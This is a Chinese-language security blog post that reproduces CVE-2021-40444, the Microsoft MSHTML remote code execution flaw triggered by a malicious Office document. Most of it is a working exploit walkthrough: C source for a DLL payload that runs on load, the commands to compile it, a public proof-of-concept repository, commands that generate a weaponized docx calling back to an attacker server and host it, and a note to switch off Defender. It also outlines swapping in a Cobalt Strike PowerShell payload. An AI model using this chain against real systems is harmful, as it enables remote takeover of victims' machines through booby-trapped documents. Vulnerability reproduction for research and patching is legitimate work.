作者：墨阳
免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。

0x01 前言

微软MSHTML引擎存在代码执行漏洞，攻击者通过精心制作包含恶意ActiveX的Offcie文档，诱导用户打开，从而实现远程代码执行。当用户主机启用了ActiveX控件，攻击者可通过该漏洞控制受害者主机。

目前，该漏洞EXP已公开，微软官方公布已检测到在野利用，已发布修复补丁。

影响范围：

Windows Server, version 20H2 (Server Core Installation)  
Windows Server, version 2004 (Server Core installation)  
Windows Server 2022 (Server Core installation)  
Windows Server 2022  
Windows Server 2019 (Server Core installation)  
Windows Server 2019  
Windows Server 2016 (Server Core installation)  
Windows Server 2016  
Windows Server 2012 R2 (Server Core installation)  
Windows Server 2012 R2  
Windows Server 2012 (Server Core installation)  
Windows Server 2012  
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)  
Windows Server 2008 for x64-based Systems Service Pack 2  
Windows Server 2008 32-bit Systems Service Pack 2 (Server Core installation)  
Windows Server 2008 32-bit Systems Service Pack 2  
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)  
Windows Server 2008 R2 for x64-based Systems Service Pack 1  
Windows RT 8.1  
Windows 8.1 for x64-based systems  
Windows 8.1 32-bit systems  
Windows 7 for x64-based Systems Service Pack 1  
Windows 7 32-bit Systems Service Pack 1  
Windows 10 for x64-based Systems  
Windows 10 32-bit Systems  
Windows 10 Version 21H1 for x64-based Systems  
Windows 10 Version 21H1 for ARM64-based Systems  
Windows 10 Version 21H1 32-bit Systems  
Windows 10 Version 20H2 for x64-based Systems  
Windows 10 Version 20H2 for ARM64-based Systems  
Windows 10 Version 20H2 32-bit Systems  
Windows 10 Version 2004 for x64-based Systems  
Windows 10 Version 2004 for ARM64-based Systems  
Windows 10 Version 2004 32-bit Systems  
Windows 10 Version 1909 for x64-based Systems  
Windows 10 Version 1909 for ARM64-based Systems  
Windows 10 Version 1909 32-bit Systems  
Windows 10 Version 1809 for x64-based Systems  
Windows 10 Version 1809 for ARM64-based Systems  
Windows 10 Version 1809 32-bit Systems  
Windows 10 Version 1607 for x64-based Systems  
Windows 10 Version 1607 32-bit Systems

0x02 漏洞复现

1、准备calc.c文件:

#include<windows.h>

void exec(void) {
    
    
system("C:\\Windows\\System32\\calc.exe");
return;
}

BOOL WINAPI DllMain(
   HINSTANCE hinstDLL,
   DWORD fdwReason,
   LPVOID lpReserved )
{
    
    
   switch( fdwReason )
  {
    
    
       case DLL_PROCESS_ATTACH:
          exec();
          break;
 
       case DLL_THREAD_ATTACH:
           break;
 
       case DLL_THREAD_DETACH:
           break;
 
       case DLL_PROCESS_DETACH:
           break;
  }
   return TRUE;
}

2、编译为dll文件

sudo apt-get install gcc-mingw-w64
i686-w64-mingw32-gcc -shared calc.c -o calc.dll

3、下载POC：

下载地址：https://github.com/lockedbyte/CVE-2021-40444
在这里插入图片描述
将dll文件放到test目录下替换掉原有文件

4、利用dll文件生成docx文档

sudo python3 exploit.py generate test/calc.dll http://<SRV IP>

在这里插入图片描述
自动生成了document文档、word.html和word.cab

5、开启web服务

sudo python3 [exploit.py](http://exploit.py) host 80

生成的document文档在out目录下，将文档上传靶机，双击打开，弹出计算器（关掉definder）
在这里插入图片描述

0x03 CS上线

1、cs生成powershell command

2、修改calc.c文件：
在这里插入图片描述

0x04 修复方案

微软官方已发布补丁，官方下载地址：
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444

0x05 了解更多安全知识

欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
欢迎关注我们的安全公众号，学习更多安全知识！！！
在这里插入图片描述

漏洞复现｜CVE-2021-40444（Microsoft MSHTML 远程代码执行漏洞）